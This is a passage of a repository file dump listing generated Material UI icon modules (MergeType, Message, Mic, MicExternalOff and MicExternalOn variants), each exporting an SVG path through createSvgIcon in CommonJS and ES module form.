    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.7 19.7c.39-.39.39-1.02 0-1.41l-2.7-2.7L13.59 17l2.7 2.7c.39.39 1.03.39 1.41 0M8.71 8H11v5.59l-4.71 4.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.71-4.7c.38-.38.59-.88.59-1.41V8h2.29c.45 0 .67-.54.35-.85l-3.29-3.29c-.2-.2-.51-.2-.71 0L8.35 7.15c-.31.31-.09.85.36.85\"\n}), 'MergeTypeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeTypeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeTypeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.59 19 7 20.41l6-6V8h3.5L12 3.5 7.5 8H11v5.59zm11.407 1.41-3.408-3.407 1.4-1.407 3.41 3.408z\"\n}), 'MergeTypeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.59 19 7 20.41l6-6V8h3.5L12 3.5 7.5 8H11v5.59zm11.407 1.41-3.408-3.407 1.4-1.407 3.41 3.408z\"\n}), 'MergeTypeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Message.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'Message');"
  },
  {
    "path": "packages/mui-icons-material/lib/Message.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'Message');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h16v12H5.17L4 17.17zm0-2c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm2 10h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'MessageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h16v12H5.17L4 17.17zm0-2c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm2 10h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'MessageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 12H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'MessageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 12H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'MessageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-4 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'MessageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-4 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'MessageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v13.17L5.17 16H20zm-2 10H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4zm-16-.83V4h16v12H5.17zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'MessageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MessageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v13.17L5.17 16H20zm-2 10H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4zm-16-.83V4h16v12H5.17zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'MessageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 2.99-1.34 2.99-3L15 5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 14 6.7 11H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'Mic');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 2.99-1.34 2.99-3L15 5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m5.3-3c0 3-2.54 5.1-5.3 5.1S6.7 14 6.7 11H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'Mic');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l5.78 5.78zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83zm2-12v5.17l-2-2V6c0-2.21 1.79-4 4-4s4 1.79 4 4v11.17l-2-2V6c0-1.1-.9-2-2-2s-2 .9-2 2m-4-1c0 .62-.2 1.18-.52 1.66L5.33 2.51C5.81 2.19 6.38 2 7 2c1.66 0 3 1.34 3 3\"\n}), 'MicExternalOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l5.78 5.78zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83zm2-12v5.17l-2-2V6c0-2.21 1.79-4 4-4s4 1.79 4 4v11.17l-2-2V6c0-1.1-.9-2-2-2s-2 .9-2 2m-4-1c0 .62-.2 1.18-.52 1.66L5.33 2.51C5.81 2.19 6.38 2 7 2c1.66 0 3 1.34 3 3\"\n}), 'MicExternalOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4 1c0-1.1.9-2 2-2s2 .9 2 2v9.17l2 2V6c0-2.21-1.79-4-4-4s-4 1.79-4 4v3.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l6.49 6.49 1.41-1.41zM7.19 16h-.38l-.6-6h.96l.56.56zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83z\"\n}), 'MicExternalOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4 1c0-1.1.9-2 2-2s2 .9 2 2v9.17l2 2V6c0-2.21-1.79-4-4-4s-4 1.79-4 4v3.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l6.49 6.49 1.41-1.41zM7.19 16h-.38l-.6-6h.96l.56.56zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83z\"\n}), 'MicExternalOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6c0-1.24 1.14-2.22 2.42-1.96.94.2 1.58 1.09 1.58 2.05v9.08l2 2V6.16c0-2.08-1.68-4.03-3.76-4.15C13.92 1.87 12 3.71 12 6v3.17l2 2zm-4-1c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5M1.39 2.81C1 3.2 1 3.83 1.39 4.22L5.17 8H5.1c-.59 0-1.05.51-1 1.1l.85 8.45c.03.26.25.45.5.45H6c0 2.34 2.01 4.21 4.39 3.98 2.08-.2 3.61-2.06 3.61-4.15v-1l5.78 5.78c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0M12 17.91c0 .96-.64 1.86-1.58 2.05C9.14 20.22 8 19.24 8 18h.55c.26 0 .47-.19.5-.45l.52-5.16L12 14.83z\"\n}), 'MicExternalOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6c0-1.24 1.14-2.22 2.42-1.96.94.2 1.58 1.09 1.58 2.05v9.08l2 2V6.16c0-2.08-1.68-4.03-3.76-4.15C13.92 1.87 12 3.71 12 6v3.17l2 2zm-4-1c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5M1.39 2.81C1 3.2 1 3.83 1.39 4.22L5.17 8H5.1c-.59 0-1.05.51-1 1.1l.85 8.45c.03.26.25.45.5.45H6c0 2.34 2.01 4.21 4.39 3.98 2.08-.2 3.61-2.06 3.61-4.15v-1l5.78 5.78c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.81 2.81c-.39-.39-1.03-.39-1.42 0M12 17.91c0 .96-.64 1.86-1.58 2.05C9.14 20.22 8 19.24 8 18h.55c.26 0 .47-.19.5-.45l.52-5.16L12 14.83z\"\n}), 'MicExternalOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4-1h4v11.17l2 2V2h-8v7.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1v4h8v-5.17l6.49 6.49 1.41-1.41zM12 20H8v-2h1l.56-5.61L12 14.83z\"\n}), 'MicExternalOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4-1h4v11.17l2 2V2h-8v7.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1v4h8v-5.17l6.49 6.49 1.41-1.41zM12 20H8v-2h1l.56-5.61L12 14.83z\"\n}), 'MicExternalOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.21 10 .6 6h.38l.54-5.44-.56-.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4 1c0-1.1.9-2 2-2s2 .9 2 2v9.17l2 2V6c0-2.21-1.79-4-4-4s-4 1.79-4 4v3.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l6.49 6.49 1.41-1.41zM7.19 16h-.38l-.6-6h.96l.56.56zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83z\"\n}, \"1\")], 'MicExternalOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.21 10 .6 6h.38l.54-5.44-.56-.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5c0-1.66-1.34-3-3-3-.62 0-1.19.19-1.67.5l4.15 4.15C9.8 6.18 10 5.61 10 5m4 1c0-1.1.9-2 2-2s2 .9 2 2v9.17l2 2V6c0-2.21-1.79-4-4-4s-4 1.79-4 4v3.17l2 2zM2.1 2.1.69 3.51 5.17 8H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4v-1.17l6.49 6.49 1.41-1.41zM7.19 16h-.38l-.6-6h.96l.56.56zM12 18c0 1.1-.9 2-2 2s-2-.9-2-2h1l.56-5.61L12 14.83z\"\n}, \"1\")], 'MicExternalOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2M16 2c2.21 0 4 1.79 4 4v16h-2V6c0-1.1-.9-2-2-2s-2 .9-2 2v12c0 2.21-1.79 4-4 4s-4-1.79-4-4H5L4 8h6L9 18H8c0 1.1.9 2 2 2s2-.9 2-2V6c0-2.21 1.79-4 4-4\"\n}), 'MicExternalOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2M16 2c2.21 0 4 1.79 4 4v16h-2V6c0-1.1-.9-2-2-2s-2 .9-2 2v12c0 2.21-1.79 4-4 4s-4-1.79-4-4H5L4 8h6L9 18H8c0 1.1.9 2 2 2s2-.9 2-2V6c0-2.21 1.79-4 4-4\"\n}), 'MicExternalOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.22 7c.48-.53.78-1.23.78-2 0-1.66-1.34-3-3-3S4 3.34 4 5c0 .77.3 1.47.78 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 2c-2.21 0-4 1.79-4 4v12c0 1.1-.9 2-2 2s-2-.9-2-2h1l1-10H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4V6c0-1.1.9-2 2-2s2 .9 2 2v16h2V6c0-2.21-1.79-4-4-4M7.19 16h-.38l-.6-6h1.58z\"\n}, \"1\")], 'MicExternalOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.22 7c.48-.53.78-1.23.78-2 0-1.66-1.34-3-3-3S4 3.34 4 5c0 .77.3 1.47.78 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 2c-2.21 0-4 1.79-4 4v12c0 1.1-.9 2-2 2s-2-.9-2-2h1l1-10H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4V6c0-1.1.9-2 2-2s2 .9 2 2v16h2V6c0-2.21-1.79-4-4-4M7.19 16h-.38l-.6-6h1.58z\"\n}, \"1\")], 'MicExternalOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2m7.02-4.99C18.32 2.13 20 4.08 20 6.16V21c0 .55-.45 1-1 1s-1-.45-1-1V6.09c0-.96-.64-1.86-1.58-2.05C15.14 3.78 14 4.76 14 6v11.84c0 2.08-1.68 4.03-3.76 4.15C7.92 22.13 6 20.29 6 18h-.55c-.26 0-.47-.19-.5-.45L4.11 9.1c-.06-.59.4-1.1.99-1.1h3.8c.59 0 1.05.51 1 1.1l-.85 8.45c-.03.26-.25.45-.5.45H8c0 1.24 1.14 2.22 2.42 1.96.94-.19 1.58-1.09 1.58-2.05V6c0-2.29 1.92-4.13 4.24-3.99\"\n}), 'MicExternalOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2m7.02-4.99C18.32 2.13 20 4.08 20 6.16V21c0 .55-.45 1-1 1s-1-.45-1-1V6.09c0-.96-.64-1.86-1.58-2.05C15.14 3.78 14 4.76 14 6v11.84c0 2.08-1.68 4.03-3.76 4.15C7.92 22.13 6 20.29 6 18h-.55c-.26 0-.47-.19-.5-.45L4.11 9.1c-.06-.59.4-1.1.99-1.1h3.8c.59 0 1.05.51 1 1.1l-.85 8.45c-.03.26-.25.45-.5.45H8c0 1.24 1.14 2.22 2.42 1.96.94-.19 1.58-1.09 1.58-2.05V6c0-2.29 1.92-4.13 4.24-3.99\"\n}), 'MicExternalOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnSharp.js",
